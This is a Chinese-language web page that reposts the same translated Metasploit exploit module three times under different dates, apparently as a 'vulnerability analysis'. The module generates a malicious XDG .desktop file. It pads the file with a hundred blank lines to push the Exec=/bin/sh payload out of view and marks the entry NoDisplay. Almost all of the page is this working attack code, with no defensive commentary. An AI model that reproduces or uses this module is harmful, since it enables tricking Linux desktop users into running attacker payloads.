桌面安全 on 办公AI智能小助手

恶意XDG桌面文件漏洞分析

Tue, 25 Nov 2025 10:22:57 +0800

恶意XDG桌面文件

2025.08.05 信用：Brendan coles

风险：中等本地：否远程：是 CVE：N/A CWE：N/A

##
# 本模块需要Metasploit：https://metasploit.com/download
# 当前源码：https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '恶意XDG桌面文件',
        'Description' => %q{
          本模块创建一个恶意的XDG桌面(.desktop)文件。
          
          在大多数现代系统上，桌面文件默认不受信任。
          用户运行文件时会收到警告提示，但仍可能选择运行该文件。
          
          某些桌面环境中的默认文件管理器应用程序可能会施加更严格的执行要求，
          在文件执行前提示用户将文件设置为可执行和/或将文件标记为受信任。
        },
        'Author' => [
          'bcoles'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
          ['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
        ],
        'Platform' => %w[linux unix solaris freebsd],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [ '自动', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2007-02-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, '桌面文件名', 'msf.desktop']),
      OptString.new('APPLICATION_NAME', [false, '应用程序名称。某些文件管理器将显示此名称而不是文件名。（默认为随机）', '']),
    ])

    register_advanced_options([
      OptInt.new('PrependNewLines', [false, '在有效负载前添加空行', 100]),
    ])
  end

  def application_name
    datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
  end

  def exploit
    values = [
      'Type=Application',
      "Name=#{application_name}",
      # 'Hidden=true', # 此属性旧系统不支持，会阻止执行
      'NoDisplay=true',
      'Terminal=false'
    ]
    desktop = "[Desktop Entry]\n"
    desktop << values.shuffle.join("\n")
    desktop << "\n"
    desktop << "\n" * datastore['PrependNewLines']

    escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
    desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""

    file_create(desktop)
  end
end

恶意XDG桌面文件漏洞分析

Thu, 20 Nov 2025 11:56:02 +0800

恶意XDG桌面文件

2025.08.05 信用：Brendan coles

风险：中等本地：否远程：是 CVE：N/A CWE：N/A

##
# 本模块需要 Metasploit: https://metasploit.com/download
# 当前源码: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '恶意XDG桌面文件',
        'Description' => %q{
          本模块创建恶意的XDG桌面(.desktop)文件。
          
          在大多数现代系统上，桌面文件默认不受信任。
          用户运行文件时会收到文件不受信任的警告提示，但可能选择继续运行该文件。
          
          某些桌面环境中的默认文件管理器应用程序可能会施加更严格的执行要求，
          在文件执行前提示用户将文件设置为可执行和/或将文件标记为受信任。
        },
        'Author' => [
          'bcoles'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
          ['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
        ],
        'Platform' => %w[linux unix solaris freebsd],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [ '自动', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2007-02-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, '桌面文件名', 'msf.desktop']),
      OptString.new('APPLICATION_NAME', [false, '应用程序名称。某些文件管理器将显示此名称而不是文件名。（默认随机）', '']),
    ])

    register_advanced_options([
      OptInt.new('PrependNewLines', [false, '在payload前添加空行', 100]),
    ])
  end

  def application_name
    datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
  end

  def exploit
    values = [
      'Type=Application',
      "Name=#{application_name}",
      # 'Hidden=true', # 此属性旧系统不支持，会阻止执行
      'NoDisplay=true',
      'Terminal=false'
    ]
    desktop = "[Desktop Entry]\n"
    desktop << values.shuffle.join("\n")
    desktop << "\n"
    desktop << "\n" * datastore['PrependNewLines']

    escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
    desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""

    file_create(desktop)
  end
end

恶意XDG桌面文件漏洞分析

Thu, 06 Nov 2025 00:33:37 +0800

恶意XDG桌面文件

2025.08.05 信用：Brendan coles

风险：中等本地：否远程：是 CVE：N/A CWE：N/A

##
# 此模块需要 Metasploit: https://metasploit.com/download
# 当前源码: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '恶意XDG桌面文件',
        'Description' => %q{
          此模块创建一个恶意的XDG桌面(.desktop)文件。

          在大多数现代系统上，桌面文件默认不受信任。
          用户运行文件时会收到警告提示，但仍可能选择运行该文件。

          某些桌面环境中的默认文件管理器应用程序可能会施加更严格的执行要求，
          在文件执行前提示用户将文件设置为可执行和/或将文件标记为受信任。
        },
        'Author' => [
          'bcoles'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
          ['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
        ],
        'Platform' => %w[linux unix solaris freebsd],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [ '自动', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2007-02-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, '桌面文件名', 'msf.desktop']),
      OptString.new('APPLICATION_NAME', [false, '应用程序名称。某些文件管理器将显示此名称而不是文件名。（默认随机）', '']),
    ])

    register_advanced_options([
      OptInt.new('PrependNewLines', [false, '在有效负载前添加空行', 100]),
    ])
  end

  def application_name
    datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
  end

  def exploit
    values = [
      'Type=Application',
      "Name=#{application_name}",
      # 'Hidden=true', # 此属性不受旧系统支持，会阻止执行
      'NoDisplay=true',
      'Terminal=false'
    ]
    desktop = "[Desktop Entry]\n"
    desktop << values.shuffle.join("\n")
    desktop << "\n"
    desktop << "\n" * datastore['PrependNewLines']

    escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
    desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""

    file_create(desktop)
  end
end